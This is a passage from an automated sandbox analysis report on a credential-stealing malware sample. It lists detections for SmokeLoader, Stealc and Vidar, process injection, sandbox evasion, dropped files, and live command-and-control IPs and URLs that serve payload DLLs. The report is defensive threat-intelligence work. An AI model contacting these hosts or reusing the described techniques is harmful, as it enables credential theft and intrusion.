Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004
OS version to string mapping found (often used in BOTs)
Source: SwiftServe.scr Binary or memory string: WIN_81
Source: SwiftServe.scr Binary or memory string: WIN_XP
Source: SwiftServe.scr Binary or memory string: WIN_XPe
Source: SwiftServe.scr Binary or memory string: WIN_VISTA
Source: SwiftServe.scr Binary or memory string: WIN_7
Source: SwiftServe.scr Binary or memory string: WIN_8
Source: Burn.pif.8.dr Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 3USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte
Yara detected Credential Stealer
Source: Yara match File source: Process Memory Space: svchost015.exe PID: 708, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 3896, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected CryptOne packer
Source: Yara match File source: 0000001A.00000002.2426601330.0000000003019000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Yara detected SmokeLoader
Source: Yara match File source: 00000003.00000002.1937857892.00000000006B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.1937904210.00000000007B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1712546480.0000000002361000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1712222757.0000000000850000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Yara detected Stealc
Source: Yara match File source: 0000001D.00000002.2618548795.00000000009FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: svchost015.exe PID: 708, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
Yara detected Vidar stealer
Source: Yara match File source: Process Memory Space: svchost015.exe PID: 708, type: MEMORYSTR
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E9696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket, 25_2_00E9696E
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E96E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket, 25_2_00E96E32
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6CA20C40 sqlite3_bind_zeroblob, 29_2_6CA20C40
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6CA20D60 sqlite3_bind_parameter_name, 29_2_6CA20D60
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C948EA0 sqlite3_clear_bindings, 29_2_6C948EA0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6CA20B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob, 29_2_6CA20B40
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C946410 bind,WSAGetLastError, 29_2_6C946410
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9460B0 listen,WSAGetLastError, 29_2_6C9460B0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C94C030 sqlite3_bind_parameter_count, 29_2_6C94C030
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C94C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp, 29_2_6C94C050
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C946070 PR_Listen, 29_2_6C946070
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8D22D0 sqlite3_bind_blob, 29_2_6C8D22D0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9463C0 PR_Bind, 29_2_6C9463C0
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1502474 Sample: h8jGj6Qe78.exe Startdate: 01/09/2024 Architecture: WINDOWS Score: 100 92 ycMmBvpGeMcYHBMfFqkIrUsoh.ycMmBvpGeMcYHBMfFqkIrUsoh 2->92 94 www.darkviolet-alpaca-923878.hostingersite.com 2->94 96 2 other IPs or domains 2->96 106 Multi AV Scanner detection for domain / URL 2->106 108 Suricata IDS alerts for network traffic 2->108 110 Found malware configuration 2->110 112 16 other signatures 2->112 10 h8jGj6Qe78.exe 2->10         started        13 ewggbbh 2->13         started        15 wscript.exe 2->15         started        17 ewggbbh 2->17         started        signatures3 process4 signatures5 140 Detected unpacking (changes PE section rights) 10->140 142 Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation)) 10->142 144 Maps a DLL or memory area into another process 10->144 154 3 other signatures 10->154 19 explorer.exe 71 15 10->19 injected 146 Multi AV Scanner detection for dropped file 13->146 148 Machine Learning detection for dropped file 13->148 150 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 13->150 152 Windows Scripting host queries suspicious COM object (likely to drop second stage) 15->152 24 SwiftServe.scr 15->24         started        process6 dnsIp7 98 94.228.169.44, 56160, 80 SSERVICE-ASRU Russian Federation 19->98 100 free.cdn.hstgr.net 84.32.84.144, 443, 56171 NTT-LT-ASLT Lithuania 19->100 102 2 other IPs or domains 19->102 62 C:\Users\user\AppData\Roaming\ewggbbh, PE32 19->62 dropped 64 C:\Users\user\AppData\Local\Temp\DFA6.exe, PE32 19->64 dropped 66 C:\Users\user\AppData\Local\Temp\329C.exe, PE32 19->66 dropped 68 C:\Users\user\...\ewggbbh:Zone.Identifier, ASCII 19->68 dropped 114 System process connects to network (likely due to code injection or exploit) 19->114 116 Benign windows process drops PE files 19->116 118 Deletes itself after installation 19->118 120 Hides that the sample has been downloaded from the Internet (zone.identifier) 19->120 26 DFA6.exe 19->26         started        30 329C.exe 23 19->30         started        32 RegAsm.exe 19->32         started        35 3 other processes 19->35 file8 signatures9 process10 dnsIp11 86 C:\Users\user\AppData\...\svchost015.exe, PE32 26->86 dropped 156 Multi AV Scanner detection for dropped file 26->156 158 Contains functionality to inject code into remote processes 26->158 160 Writes to foreign memory regions 26->160 172 3 other signatures 26->172 37 svchost015.exe 26->37         started        162 Machine Learning detection for dropped file 30->162 164 Found stalling execution ending in API Sleep call 30->164 42 cmd.exe 2 30->42         started        90 45.202.35.38, 56001, 56180 ONL-HKOCEANNETWORKLIMITEDHK Seychelles 32->90 166 Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines) 32->166 168 Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines) 32->168 170 Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines) 32->170 174 2 other signatures 32->174 88 C:\Users\user\AppData\...\SwiftServe.url, MS 35->88 dropped 44 conhost.exe 35->44         started        46 schtasks.exe 1 35->46         started        48 conhost.exe 35->48         started        50 SwiftServe.scr 35->50         started        file12 signatures13 process14 dnsIp15 104 91.202.233.158, 56177, 80 M247GB Russian Federation 37->104 76 C:\Users\user\AppData\...\softokn3[1].dll, PE32 37->76 dropped 78 C:\Users\user\AppData\Local\...\nss3[1].dll, PE32 37->78 dropped 80 C:\Users\user\AppData\...\mozglue[1].dll, PE32 37->80 dropped 84 9 other files (5 malicious) 37->84 dropped 128 Tries to steal Mail credentials (via file / registry access) 37->128 130 Found many strings related to Crypto-Wallets (likely being stolen) 37->130 132 Tries to harvest and steal ftp login credentials 37->132 138 3 other signatures 37->138 82 C:\Users\user\AppData\Local\Temp\...\Burn.pif, PE32 42->82 dropped 134 Drops PE files with a suspicious file extension 42->134 136 Uses schtasks.exe or at.exe to add and modify task schedules 42->136 52 Burn.pif 5 42->52         started        56 cmd.exe 2 42->56         started        58 conhost.exe 42->58         started        60 7 other processes 42->60 file16 signatures17 process18 file19 70 C:\Users\user\AppData\...\SwiftServe.scr, PE32 52->70 dropped 72 C:\Users\user\AppData\Local\...\SwiftServe.js, ASCII 52->72 dropped 74 C:\Users\user\AppData\Local\...\RegAsm.exe, PE32 52->74 dropped 122 Drops PE files with a suspicious file extension 52->122 124 Writes to foreign memory regions 52->124 126 Injects a PE file into a foreign processes 52->126 signatures20
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
91.202.233.158
 unknown Russian Federation
9009 M247GB true
94.228.169.44
 unknown Russian Federation
49245 SSERVICE-ASRU true
92.36.226.66
 unknown Bosnia and Herzegowina
9146 BIHNETBIHNETAutonomusSystemBA true
84.32.84.144
 free.cdn.hstgr.net Lithuania
33922 NTT-LT-ASLT true
191.191.224.16
 unknown Brazil
28573 CLAROSABR true
45.202.35.38
 unknown Seychelles
139086 ONL-HKOCEANNETWORKLIMITEDHK true

Contacted Domains

Name IP Active
epohe.ru 185.12.79.25 true
free.cdn.hstgr.net 84.32.84.144 true
www.darkviolet-alpaca-923878.hostingersite.com unknown unknown
ycMmBvpGeMcYHBMfFqkIrUsoh.ycMmBvpGeMcYHBMfFqkIrUsoh unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://91.202.233.158/3836fd5700214436/msvcp140.dll true
  • 5%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
http://91.202.233.158/3836fd5700214436/sqlite3.dll true
  • 5%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
http://91.202.233.158/ true
  • 12%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
http://91.202.233.158/e96ea2db21fa9a1b.php true
  • 5%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
http://91.202.233.158/3836fd5700214436/vcruntime140.dll true
  • 5%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
http://91.202.233.158/3836fd5700214436/nss3.dll true
  • Avira URL Cloud: malware
 unknown
http://91.202.233.158/3836fd5700214436/freebl3.dll true
  • Avira URL Cloud: malware
 unknown
http://nicetolosv.xyz/tmp/ true
  • Avira URL Cloud: safe
 unknown
http://olihonols.in.net/tmp/ true
  • Avira URL Cloud: safe
 unknown